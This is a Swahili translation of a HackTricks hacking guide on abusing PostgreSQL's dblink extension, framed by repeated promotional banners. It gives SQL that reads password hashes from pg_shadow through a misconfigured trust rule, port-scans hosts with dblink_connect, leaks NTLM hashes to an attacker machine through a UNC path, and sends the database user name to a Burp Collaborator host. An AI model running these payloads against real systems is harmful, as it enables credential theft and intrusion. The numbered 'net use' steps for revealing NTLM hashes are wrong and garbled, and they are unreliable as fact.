Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family) * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
**Pata [mashambulizi zaidi kuhusu hizi katika karatasi ya asili](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**. Tangu **PostgreSQL 9.1**, ufungaji wa moduli za ziada ni rahisi. [Extensions zilizosajiliwa kama `dblink`](https://www.postgresql.org/docs/current/contrib.html) zinaweza kusakinishwa na [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html): ```sql CREATE EXTENSION dblink; ``` Baada ya kubeba dblink, unaweza kufanya mbinu kadhaa za kuvuka mamlaka: ## Kuvuka Mamlaka Faili `pg_hba.conf` inaweza kuwa imebadilishwa vibaya **kuruhusu uhusiano** kutoka **localhost kama mtumiaji yeyote** bila kuhitaji kujua nenosiri. Faili hii kawaida inapatikana katika `/etc/postgresql/12/main/pg_hba.conf` na muundo mbaya unaonekana kama ifuatavyo: ``` local all all trust ``` _Note kwamba hii mipangilio mara nyingi hutumiwa kubadilisha nenosiri la mtumiaji wa db wakati admin anasahau, kwa hivyo mara nyingi unaweza kuipata._\ _Note pia kwamba faili ya pg\_hba.conf inaweza kusomwa tu na mtumiaji na kikundi cha postgres na inaweza kuandikwa tu na mtumiaji wa postgres._ Kesi hii ni **muhimu ikiwa** tayari una **shell** ndani ya mwathiriwa kwani itakuruhusu kuunganisha kwenye database ya postgresql. Hitilafu nyingine inayowezekana ni kama ifuatavyo: ``` host all all 127.0.0.1/32 trust ``` Kwa kuwa itawaruhusu kila mtu kutoka localhost kuunganisha kwenye database kama mtumiaji yeyote.\ Katika kesi hii na ikiwa kazi ya **`dblink`** inafanya kazi, unaweza **kuongeza mamlaka** kwa kuunganisha kwenye database kupitia uhusiano uliopo tayari na kupata data ambayo haipaswi kuwa na uwezo wa kufikia: ```sql SELECT * FROM dblink('host=127.0.0.1 user=postgres dbname=postgres', 'SELECT datname FROM pg_database') RETURNS (result TEXT); SELECT * FROM dblink('host=127.0.0.1 user=postgres dbname=postgres', 'select usename, passwd from pg_shadow') RETURNS (result1 TEXT, result2 TEXT); ``` ## Uchunguzi wa Bandari Kwa kutumia `dblink_connect`, unaweza pia **kutafuta bandari zilizofunguliwa**. Ikiwa **kazi hiyo haifanyi kazi, unapaswa jaribu kutumia `dblink_connect_u()`** kwa kuwa nyaraka zinasema kuwa `dblink_connect_u()` ni sawa na `dblink_connect()`, isipokuwa itaruhusu watumiaji wasio wa kiwango cha juu kuunganisha kwa kutumia njia yoyote ya uwakilishi. ```sql SELECT * FROM dblink_connect('host=216.58.212.238 port=443 user=name password=secret dbname=abc connect_timeout=10'); //Different response // Port closed RROR: could not establish connection DETAIL: could not connect to server: Connection refused Is the server running on host "127.0.0.1" and accepting TCP/IP connections on port 4444? // Port Filtered/Timeout ERROR: could not establish connection DETAIL: timeout expired // Accessing HTTP server ERROR: could not establish connection DETAIL: timeout expired // Accessing HTTPS server ERROR: could not establish connection DETAIL: received invalid response to SSL negotiation: ``` Tafadhali kumbuka kwamba **kabla** ya kuweza kutumia `dblink_connect` au `dblink_connect_u` unaweza kuhitaji kutekeleza: ``` CREATE extension dblink; ``` ## Njia ya UNC - Kufichua Hash ya NTLM Kuna njia ya kufichua hash ya NTLM kwa kutumia njia ya UNC (Universal Naming Convention). Njia hii inaruhusu mtu kufichua hash ya NTLM kutoka kwa seva ya mbali ambayo inasaidia itifaki ya SMB (Server Message Block). Hatua za kufichua hash ya NTLM kwa kutumia njia ya UNC ni kama ifuatavyo: 1. Tafuta seva ya mbali ambayo inasaidia itifaki ya SMB. 2. Tumia amri ya `net use` kwenye mfumo wako ili kuunganisha kwenye seva ya mbali na kuingia kama mtumiaji wa kawaida. 3. Tumia amri ya `net use` tena, lakini sasa tumia jina la mtumiaji na nenosiri la mtumiaji ambaye hash ya NTLM unataka kufichua. 4. Baada ya kuunganisha kwenye seva ya mbali kama mtumiaji huyo, unaweza kutumia amri ya `net use` tena ili kuona hash ya NTLM iliyofichuliwa. Ni muhimu kutambua kuwa njia hii inahitaji ufikiaji wa seva ya mbali na itifaki ya SMB. Pia, ni muhimu kuzingatia kuwa kufichua hash ya NTLM ni shughuli ya udukuzi na inaweza kuwa kinyume cha sheria ikiwa hufanyiki kwenye mifumo ambayo huna idhini ya kufanya hivyo. ```sql -- can be used to leak hashes to Responder/equivalent CREATE TABLE test(); COPY test FROM E'\\\\attacker-machine\\footestbar.txt'; ``` ```sql -- to extract the value of user and send it to Burp Collaborator CREATE TABLE test(retval text); CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$ DECLARE sqlstring TEXT; DECLARE userval TEXT; BEGIN SELECT INTO userval (SELECT user); sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\''; EXECUTE sqlstring; END; $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT testfunc(); ```
Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family) * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.